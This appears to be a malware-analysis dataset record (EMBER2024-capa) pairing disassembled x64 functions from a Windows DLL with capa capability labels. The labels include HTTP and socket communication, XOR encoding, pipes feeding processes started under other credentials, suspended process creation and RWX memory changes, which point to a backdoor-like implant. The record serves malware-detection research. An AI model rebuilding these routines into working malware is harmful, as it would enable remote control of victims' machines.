joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000dc54
Capabilities:
Query remote server for available data
Read data from internet
Receive data
Send data
Send http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r13
push r14
push r15
lea rbp, [rsp - 0x3a0]
sub rsp, 0x4a0
and qword [rsp + 0x50], 0
and dword [rbp + 0x3d8], 0
and dword [rsp + 0x40], 0
xor esi, esi
mov r15, r8
mov rbx, rcx
and qword [rsp + 0x60], rsi
lea rax, [0x18002c6d0]
mov r13, rdx
lea r8d, [rsi + 0x38]
lea rcx, [rsp + 0x68]
xor edx, edx
mov r14d, r9d
mov qword [rsp + 0x48], rax
call fcn.18001a0a0
lea rcx, [rbp - 0x5f]
xor edx, edx
mov r8d, 0x3ff
mov byte [rbp - 0x60], sil
call fcn.18001a0a0
mov edx, dword [r13 + 4]
lea rcx, [rsp + 0x60]
call fcn.180015d40
mov rcx, qword [rsp + 0x70]
lea r8, [0x18002c6c4]
mov r9, rbx
mov edx, 0x400
call fcn.18001a1ac
lea ecx, [rsi + 0xc]
call fcn.180018708
mov r9d, dword [r13 + 4]
and dword [rsp + 0x28], esi
and qword [rsp + 0x20], rsi
lea r8, [r13 + 8]
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.1800154a8
mov rcx, qword [rsp + 0x68]
or rdi, 0xffffffffffffffff
mov rax, rdi
inc rax
cmp byte [rcx + rax], sil
jne 0x18000dd24
mov r9, qword [rsp + 0x70]
mov edx, 0x400
test rax, rax
jne 0x18000dd4e
lea r8, [0x18002c6c4]
lea rcx, [rbp - 0x60]
call fcn.18001a1ac
jmp 0x18000dd63
mov qword [rsp + 0x20], rcx
lea r8, [0x18002c6d8]
lea rcx, [rbp - 0x60]
call fcn.18001a1ac
mov ecx, 0x1a
call fcn.180018708
mov rcx, qword [0x18003e478]
lea r8, [rbp - 0x60]
mov rdx, rax
lea rax, [0x18003e490]
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov eax, dword [0x18003e48c]
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], rsi
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rcx, rax
mov rbx, rax
call fcn.18000dea4
mov rdx, qword [rsp + 0x60]
mov r8, rdi
inc r8
cmp byte [rdx + r8], sil
jne 0x18000ddbc
mov eax, dword [rbp - 0x80]
mov r9, qword [rsp + 0x78]
mov rcx, rbx
mov dword [rsp + 0x20], eax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov edx, dword [r13 + 4]
lea rcx, [rsp + 0x60]
call fcn.180015d34
mov rcx, rbx
call fcn.18000e488
test eax, eax
je 0x18000de1f
lea rdx, [rbp + 0x3d8]
xor r9d, r9d
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetQueryDataAvailable]
test eax, eax
je 0x18000de1f
mov eax, dword [rbp + 0x3d8]
cmp eax, r14d
jae 0x18000de1f
test eax, eax
jne 0x18000de46
xor edi, edi
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
lea r11, [rsp + 0x4a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop rdi
pop rbp
ret
test r14d, r14d
je 0x18000de1f
mov edx, esi
lea r9, [rsp + 0x40]
mov r8d, 0x1000
add rdx, r15
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x18000de77
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x18000de77
add esi, eax
cmp esi, r14d
jb 0x18000de4b
cmp esi, r14d
jae 0x18000de1f
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, ntohl
call fcn.180018708
mov r9d, r14d
mov r8d, esi
mov rcx, rax
mov rdx, r15
call fcn.180015ddc
jmp 0x18000de2a
Function at 0x18000dfd4
Capabilities:
Connect to http server
Create http request

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push r14
sub rsp, 0x40
mov rbx, r8
mov edi, edx
mov rsi, rcx
mov dword [rax + 0x20], 0x3a980
call fcn.1800197bc
mov r14d, 1
mov ecx, r14d
call fcn.18001873c
lea ecx, [r14 + 0x31]
and al, 8
neg al
sbb r9d, r9d
and r9d, 0x803000
add r9d, 0x84400200
mov dword [0x18003e48c], r9d
call fcn.18001873c
cmp ax, r14w
jne 0x18000e03e
bts dword [0x18003e48c], 0x13
mov ecx, 0x23
call fcn.18001873c
movzx ecx, ax
test ecx, ecx
je 0x18000e074
dec ecx
je 0x18000e06c
dec ecx
je 0x18000e065
cmp ecx, 2
je 0x18000e074
mov rax, qword [0x18003e470]
jmp 0x18000e09e
xor r8d, r8d
xor edx, edx
jmp 0x18000e086
xor r8d, r8d
mov edx, r14d
jmp 0x18000e086
mov ecx, 0x20
call fcn.180018708
mov edx, 3
mov r8, rax
and dword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [0x18003e470], rax
mov ebx, 4
lea r8, [rsp + 0x68]
mov rcx, rax
lea edx, [rbx + 1]
mov r9d, ebx
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rcx, qword [0x18003e470]
lea r8, [rsp + 0x68]
lea edx, [rbx + 2]
mov r9d, ebx
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rcx, qword [0x18003e470]
lea rax, [0x18003e490]
mov qword [rsp + 0x38], rax
and dword [rsp + 0x30], 0
xor r9d, r9d
movzx r8d, di
mov rdx, rsi
mov dword [rsp + 0x28], 3
and qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetConnectA]
lea ecx, [rbx + 0x1f]
mov qword [0x18003e478], rax
call fcn.18001873c
cmp ax, bx
jne 0x18000e16d
lea edi, [rbx + 0x1d]
mov ecx, edi
call fcn.1800186e8
mov ecx, edi
mov ebx, eax
call fcn.180018708
mov rcx, qword [0x18003e478]
lea edx, [rdi + 0xa]
mov r9d, ebx
mov r8, rax
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov edi, 0x22
mov ecx, edi
call fcn.1800186e8
mov ecx, edi
mov ebx, eax
call fcn.180018708
mov rcx, qword [0x18003e478]
lea edx, [rdi + 0xa]
mov r9d, ebx
mov r8, rax
call qword [sym.imp.WININET.dll_InternetSetOptionA]
call fcn.1800197ec
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
add rsp, 0x40
pop r14
ret
Function at 0x18000e188
Capabilities:
Send data
Send http request

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r14
push rbp
lea rbp, [rax - 0x418]
sub rsp, 0x510
and qword [rbp - 0x78], 0
mov rbx, rcx
lea rax, [0x18002c6d0]
lea rcx, [rbp + 0x11]
xor edx, edx
mov r8d, 0x3ff
mov qword [rbp - 0x80], rax
mov byte [rbp + 0x10], 0
call fcn.18001a0a0
xor edx, edx
lea rcx, [rbp - 0x6f]
mov byte [rbp - 0x70], 0
lea r8d, [rdx + 0x7f]
call fcn.18001a0a0
and qword [rsp + 0x40], 0
xor edx, edx
lea r8d, [rdx + 0x38]
lea rcx, [rsp + 0x48]
call fcn.18001a0a0
mov edx, dword [0x18003e488]
test edx, edx
je 0x18000e3a2
lea rcx, [rsp + 0x40]
call fcn.180015d40
mov rcx, qword [rsp + 0x50]
mov edi, 0x400
lea r8, [0x18002c6c4]
mov edx, edi
mov r9, rbx
call fcn.18001a1ac
mov r9d, dword [0x180047720]
lea r8, [0x18002c6d4]
lea rcx, [rbp - 0x70]
mov edx, 0x80
call fcn.18001a1ac
or r14, 0xffffffffffffffff
lea rax, [rbp - 0x70]
mov rbx, r14
inc rbx
cmp byte [rax + rbx], 0
jne 0x18000e251
mov ecx, reloc.WS2_32.dll_listen
call fcn.180018708
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x40]
mov rcx, rax
mov eax, dword [0x18003e488]
mov r9d, ebx
mov dword [rsp + 0x28], eax
mov rax, qword [0x18003e480]
mov qword [rsp + 0x20], rax
call fcn.1800154a8
mov rcx, qword [rsp + 0x48]
mov rax, r14
inc rax
cmp byte [rcx + rax], 0
jne 0x18000e296
mov r9, qword [rsp + 0x50]
mov rdx, rdi
test rax, rax
jne 0x18000e2be
lea r8, [0x18002c6c4]
lea rcx, [rbp + 0x10]
call fcn.18001a1ac
jmp 0x18000e2d3
mov qword [rsp + 0x20], rcx
lea r8, [0x18002c6d8]
lea rcx, [rbp + 0x10]
call fcn.18001a1ac
call fcn.1800197bc
xor ebx, ebx
mov ecx, 0x1b
call fcn.180018708
mov rcx, qword [0x18003e478]
lea r8, [rbp + 0x10]
mov rdx, rax
lea rax, [0x18003e490]
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov eax, dword [0x18003e48c]
mov dword [rsp + 0x30], eax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rcx, rax
mov rdi, rax
call fcn.18000dea4
mov rdx, qword [rsp + 0x40]
mov r8, r14
inc r8
cmp byte [rdx + r8], 0
jne 0x18000e333
mov eax, dword [rsp + 0x60]
mov r9, qword [rsp + 0x58]
mov rcx, rdi
mov dword [rsp + 0x20], eax
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, rdi
call fcn.18000e488
mov rcx, rdi
test eax, eax
jne 0x18000e380
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 4
jb 0x18000e2da
jmp 0x18000e386
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [0x18003e488]
lea rcx, [rsp + 0x40]
call fcn.180015d34
and dword [0x18003e488], 0
call fcn.1800197ec
lea r11, [rsp + 0x510]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r14, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x18000e488
Capabilities:
Check http status code

Disassembly:
mov rax, rsp
push rbx
sub rsp, 0x130
xor ebx, ebx
lea r9, [rax + 0x10]
lea r8, [rsp + 0x30]
lea edx, [rbx + 0x13]
mov dword [rax + 0x10], 0x100
mov qword [rsp + 0x20], rbx
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x18000e4cb
lea rcx, [rsp + 0x30]
call fcn.18001a974
cmp eax, 0xc8
sete bl
mov eax, ebx
add rsp, 0x130
pop rbx
ret

Function at 0x18000e5cc
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1c8
cmp dword [0x18003e498], 1
je 0x18000e662
lea rdx, [rsp + 0x20]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
js 0x18000e66a
mov ecx, socket
mov dword [0x18003e498], 1
call fcn.1800186b4
mov ecx, reloc.WS2_32.dll_send
mov dword [0x18003e49c], eax
call fcn.1800186b4
mov ecx, 0x3d
mov dword [0x18003e4a0], eax
call fcn.180018708
mov ecx, 0x3e
mov qword [0x180047b48], rax
call fcn.180018708
mov ecx, 0x3f
mov qword [0x180047b40], rax
call fcn.180018708
mov ecx, 0x42
mov qword [0x180047b38], rax
call fcn.180018708
mov qword [0x180047b30], rax
add rsp, 0x1c8
ret
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call fcn.18001af84
int3
Function at 0x18000efc0
Capabilities:
Create pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0x100
mov rdi, rcx
mov ebx, edx
mov esi, 0x68
lea rcx, [rbp - 0x19]
xor edx, edx
mov r8d, esi
call fcn.18001a0a0
xor eax, eax
mov dword [rbp - 0x19], esi
lea r8, [rbp - 0x59]
lea rdx, [rbp + 0x7f]
lea rcx, [rbp - 0x61]
xor esi, esi
mov r9d, 0x100000
mov qword [rbp - 0x79], rax
mov qword [rbp - 0x71], rax
mov qword [rbp - 0x69], rax
mov dword [rbp - 0x59], 0x18
mov qword [rbp - 0x51], rsi
mov dword [rbp - 0x49], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rbp - 0x19]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rax, qword [rbp + 0x7f]
lea r9, [rbp - 0x79]
lea r8, [rbp - 0x19]
mov edx, ebx
mov rcx, rdi
mov dword [rsp + 0x28], esi
mov qword [rbp + 0x3f], rax
mov qword [rbp + 0x47], rax
mov dword [rbp + 0x23], 0x101
mov word [rbp + 0x27], si
mov qword [rbp + 0x37], rsi
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call fcn.180015298
test eax, eax
je 0x18000f0a9
mov rcx, qword [rbp - 0x79]
mov edx, 0x2710
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r8, qword [rbp + 0x7f]
mov rdx, qword [rbp - 0x61]
movups xmm0, xmmword [rbp - 0x79]
movsd xmm1, qword [rbp - 0x69]
lea rcx, [rbp - 0x39]
movaps xmmword [rbp - 0x39], xmm0
movsd qword [rbp - 0x29], xmm1
call fcn.180012ba0
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x18000f138
Capabilities:
Connect socket
Resolve dns

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
xor r8d, r8d
mov esi, edx
mov rdi, rcx
lea r14d, [r8 + 2]
lea edx, [r8 + 1]
mov ecx, r14d
call sub.WS2_32.dll_socket
or rbp, 0xffffffffffffffff
mov rbx, rax
cmp rax, rbp
jne 0x18000f17a
mov rax, rbp
jmp 0x18000f1d4
mov rcx, rdi
call sub.WS2_32.dll_gethostbyname
test rax, rax
je 0x18000f175
mov rdx, qword [rax + 0x18]
movsx r8, word [rax + 0x12]
lea rcx, [rsp + 0x24]
mov rdx, qword [rdx]
call fcn.18001a490
movzx ecx, si
mov word [rsp + 0x20], r14w
call sub.WS2_32.dll_htons
lea rdx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_recv
mov rcx, rbx
mov word [rsp + 0x22], ax
call sub.WS2_32.dll_connect
test eax, eax
je 0x18000f1d1
mov rcx, rbx
call sub.WS2_32.dll_closesocket
jmp 0x18000f175
mov rax, rbx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x18000f7e8
Capabilities:
Encode data using xor

Disassembly:
movsxd r10, edx
movsxd rax, r9d
sub r10, 4
cmp r10, rax
jbe 0x18000f7fa
xor eax, eax
ret
mov r11, rcx
add rcx, 4
sub edx, 4
je 0x18000f82b
xor r9d, r9d
mov r10d, edx
sub rcx, r8
mov rax, r9
inc r9
and eax, 3
mov al, byte [rax + r11]
xor al, byte [rcx + r8]
mov byte [r8], al
inc r8
dec r10
jne 0x18000f80f
mov eax, edx
ret

Function at 0x18000f830
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
movsxd rsi, edx
movsxd rax, r9d
mov rbx, r8
add rsi, 4
mov edi, edx
mov rbp, rcx
mov r14, r8
cmp rsi, rax
jbe 0x18000f867
xor eax, eax
jmp 0x18000f89a
call fcn.18000e67c
xor edx, edx
mov dword [rbx], eax
add rbx, 4
test edi, edi
je 0x18000f898
sub rbp, rbx
mov rax, rdi
mov rcx, rdx
inc rdx
and ecx, 3
mov cl, byte [rcx + r14]
xor cl, byte [rbx + rbp]
mov byte [rbx], cl
inc rbx
dec rax
jne 0x18000f87e
mov eax, esi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x18000fb60
Capabilities:
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
test byte [rcx + 0x20], 4
mov rbx, rcx
jne 0x18000fbcd
mov rcx, qword [rcx]
lea rdx, [rsp + 0x20]
call fcn.18000c71c
test eax, eax
je 0x18000fbcd
mov rax, qword [rsp + 0x20]
or dword [rbx + 0x20], 4
mov rcx, rbx
mov qword [rbx], rax
call fcn.18000f8b8
mov rcx, qword [rbx + 0x18]
lea rdx, [rsp + 0x20]
mov edi, eax
call fcn.18000f9bc
mov rcx, qword [rbx + 0x18]
test eax, eax
jne 0x18000fbbf
mov rcx, qword [rcx]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
jmp 0x18000fbd5
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, edi
jmp 0x18000fbd5
mov rcx, rbx
call fcn.18000f8b8
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x18000fbe0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x60
mov rax, qword [rcx + 0x18]
mov rbx, rcx
mov r9d, 2
mov qword [r11 - 0x18], rax
mov rax, qword [rcx + 0x10]
mov qword [r11 - 0x20], rax
mov eax, dword [rcx + 0x20]
mov rcx, qword [0x180043450]
mov qword [r11 - 0x28], r8
and qword [r11 - 0x30], 0
mov r8, qword [0x180043458]
mov dword [rsp + 0x30], eax
mov qword [r11 - 0x40], rdx
mov rdx, qword [0x180043448]
and qword [r11 - 0x48], 0
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
je 0x18000fc40
mov eax, 1
jmp 0x18000fc58
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, qword [rbx]
mov ecx, 0x45
mov r8d, eax
call fcn.18000dc44
xor eax, eax
add rsp, 0x60
pop rbx
ret
Function at 0x18000fddc
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xf0
mov r13, rcx
xor edi, edi
mov ecx, 0xa000
mov r15, r9
mov rbx, r8
mov r12, rdx
mov esi, edi
call fcn.180013dfc
mov edx, 0x4000
mov rcx, rax
mov rbp, rax
call fcn.180013f50
mov edi, 0x400
mov rcx, rbp
mov edx, edi
mov qword [rsp + 0x68], rax
call fcn.180013f50
mov edx, edi
mov rcx, rbp
mov qword [rsp + 0x60], rax
call fcn.180013f50
mov edx, edi
mov rcx, rbp
mov qword [rsp + 0x70], rax
call fcn.180013f50
mov edx, edi
mov rcx, rbp
mov qword [rsp + 0x78], rax
call fcn.180013f50
lea r14d, [rsi + 0x68]
lea rcx, [rsp + 0x80]
mov r8d, r14d
xor edx, edx
mov rdi, rax
call fcn.18001a0a0
xor eax, eax
mov dword [rsp + 0x80], r14d
mov r14, qword [rsp + 0x148]
lea rcx, [rsp + 0x80]
mov qword [r14], rax
mov qword [r14 + 8], rax
mov qword [r14 + 0x10], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rdx, qword [rsp + 0x68]
xor eax, eax
mov r8d, 0x4000
mov rcx, r15
mov dword [rsp + 0xbc], 0x101
mov word [rsp + 0xc0], ax
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0x90], rax
call fcn.18000f0c4
mov rdx, qword [rsp + 0x70]
mov r8d, 0x400
mov rcx, r12
call fcn.18000f0c4
mov rdx, qword [rsp + 0x78]
mov r8d, 0x400
mov rcx, rbx
call fcn.18000f0c4
mov rdx, qword [rsp + 0x60]
mov ebx, 0x400
mov r8d, ebx
mov rcx, r13
call fcn.18000f0c4
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
cmp eax, ebx
jae 0x18000ff49
mov rdx, rdi
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov rsi, rdi
mov eax, dword [rsp + 0x140]
mov r8, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x50], r14
xor edi, edi
or eax, 0x8000400
lea rcx, [rsp + 0x80]
lea ebx, [rdi + 1]
mov qword [rsp + 0x48], rcx
mov rcx, qword [rsp + 0x70]
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov r9d, ebx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
jne 0x18000ffcb
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._s_as__s_s:__d
lea ecx, [rdi + 0x35]
mov dword [rsp + 0x28], eax
mov r9, r13
mov r8, r15
mov qword [rsp + 0x20], r12
call fcn.18000db0c
mov ebx, edi
mov rcx, rbp
call fcn.180013ee4
lea r11, [rsp + 0xf0]
mov eax, ebx
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x18001030c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
cmp dword [rcx + 4], 0
mov rdi, rdx
mov rbx, rcx
ja 0x1800102fe
mov ecx, dword [rcx]
call sub.WS2_32.dll_htonl
mov edx, 4
lea rcx, [rsp + 0x30]
lea r8d, [rdx + 5]
mov dword [rsp + 0x30], eax
call rdi
mov rcx, qword [rbx + 8]
call fcn.18001b050
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
xor esi, esi
mov r14d, r8d
mov rbp, rdx
cmp qword [0x18003e4b8], rsi
mov rbx, rcx
jne 0x18001034a
mov ecx, 0x80004
call fcn.180019df0
mov qword [0x18003e4b8], rax
mov ecx, dword [rbx]
call sub.WS2_32.dll_htonl
mov rcx, qword [0x18003e4b8]
mov dword [rcx], eax
mov edi, dword [rbx + 4]
cmp edi, r14d
cmova edi, r14d
test edi, edi
je 0x18001039c
mov rax, qword [0x18003e4b8]
mov r9, qword [rbx + 8]
mov ecx, esi
add rax, 4
mov r8d, edi
mov edx, 1
add rcx, rax
call fcn.18001b8a0
test eax, eax
je 0x180010398
sub dword [rbx + 4], eax
add esi, eax
sub edi, eax
jne 0x180010368
jmp 0x18001039c
and dword [rbx + 4], 0
mov rcx, qword [0x18003e4b8]
lea edx, [rsi + 4]
mov r8d, 8
call rbp
mov rdx, rbp
mov rcx, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp 0x1800102c4
Function at 0x18001098c
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rbp, rdx
xor r8d, r8d
xor edx, edx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov ebx, eax
test eax, eax
jne 0x1800109be
xor eax, eax
jmp 0x1800109e0
inc eax
cmp eax, edi
jae 0x1800109ba
mov r8, rdi
xor edx, edx
mov rcx, rbp
call fcn.18001a0a0
mov r8d, ebx
mov rdx, rbp
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1800109f8
Capabilities:
Get file attributes

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
shr eax, 4
and eax, 1
add rsp, 0x28
ret

Function at 0x180010c08
Capabilities:
Allocate or change rwx memory

Disassembly:
lea rdx, [0x180010ad0]
lea rcx, [fcn.180010bf4]
jmp 0x180010c08
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
cmp qword [0x18003e4c0], 0
mov rsi, rdx
mov rdi, rcx
jne 0x180010cd5
mov ecx, 0x29
sub edi, edx
call fcn.1800186b4
mov ebx, eax
call fcn.180018690
lea r9, [rsp + 0x40]
add rax, rbx
mov r8d, 4
mov edx, edi
mov rcx, rax
mov qword [0x18003e4c0], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [0x18003e4c0]
movsxd r8, edi
mov rdx, rsi
call fcn.18001a490
mov r8d, dword [rsp + 0x40]
mov rcx, qword [0x18003e4c0]
lea r9, [rsp + 0x40]
mov edx, edi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, 0x20
call fcn.180019df0
mov qword [0x18003e4c8], rax
call fcn.180018690
mov rcx, qword [0x18003e4c8]
mov qword [rcx], rax
mov ecx, 0x2a
call fcn.180018708
mov rcx, qword [0x18003e4c8]
xor r8d, r8d
mov qword [rcx + 8], rax
mov rcx, qword [0x18003e4c8]
lea edx, [r8 + 0xd]
add rcx, 0x10
call fcn.180001218
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1800110f0
Capabilities:
Create pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r14
mov qword [rax + 0x20], r15
push rbp
lea rbp, [rax - 0x18]
sub rsp, 0x110
mov ecx, dword [rbp + 0x70]
mov rsi, r9
mov r14d, r8d
mov edi, edx
call fcn.1800197d8
mov r15d, 0x68
lea rcx, [rbp - 0x60]
xor edx, edx
mov r8d, r15d
call fcn.18001a0a0
xor eax, eax
mov dword [rbp - 0x60], r15d
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x58]
xor r15d, r15d
mov r9d, 0x100000
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x68], 0x18
mov qword [rsp + 0x70], r15
mov dword [rsp + 0x78], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov rax, qword [rsp + 0x60]
mov edx, dword [rbp + 0x70]
mov ecx, dword [rbp + 0x68]
lea r9, [rsp + 0x40]
lea r8, [rbp - 0x60]
mov qword [rbp - 8], rax
mov qword [rbp], rax
mov dword [rbp - 0x24], 0x101
mov word [rbp - 0x20], r15w
mov qword [rbp - 0x10], r15
call fcn.1800189b0
test eax, eax
je 0x180011232
lea ecx, [r15 + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rbp + 0x50]
mov r8d, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov dword [rsp + 0x38], eax
mov rax, qword [rbp + 0x48]
mov qword [rsp + 0x30], rax
mov eax, dword [rbp + 0x40]
lea rcx, [rsp + 0x40]
mov r9, rsi
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], eax
call fcn.18001170c
test edi, edi
je 0x180011207
mov rcx, qword [rsp + 0x58]
mov edx, edi
call fcn.1800128bc
movups xmm0, xmmword [rsp + 0x40]
movsd xmm1, qword [rsp + 0x50]
mov r9, qword [rbp + 0x58]
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
lea rcx, [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
movsd qword [rbp - 0x70], xmm1
call fcn.180012930
mov ecx, dword [rbp + 0x70]
call fcn.180019808
lea r11, [rsp + 0x110]
mov rsi, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r14, qword [r11 + 0x20]
mov r15, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x180011968
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x30
lea rax, [fcn.180011968]
mov rbp, rcx
lea r15, [0x18001191c]
sub eax, r15d
xor r12d, r12d
mov rsi, r8
lea rcx, [rax + 0x20]
mov qword [rsp + 0x70], r12
lea edi, [rax + 0x20]
mov ebx, eax
call fcn.180019df0
mov rcx, qword [rsi]
mov qword [rax], rcx
mov rcx, qword [rsi + 8]
mov r8d, ebx
mov qword [rax + 8], rcx
mov rcx, qword [rsi + 0x10]
mov rdx, r15
mov qword [rax + 0x10], rcx
mov rcx, qword [rsi + 0x18]
mov r14, rax
mov qword [rax + 0x18], rcx
lea rcx, [rax + 0x20]
call fcn.18001a490
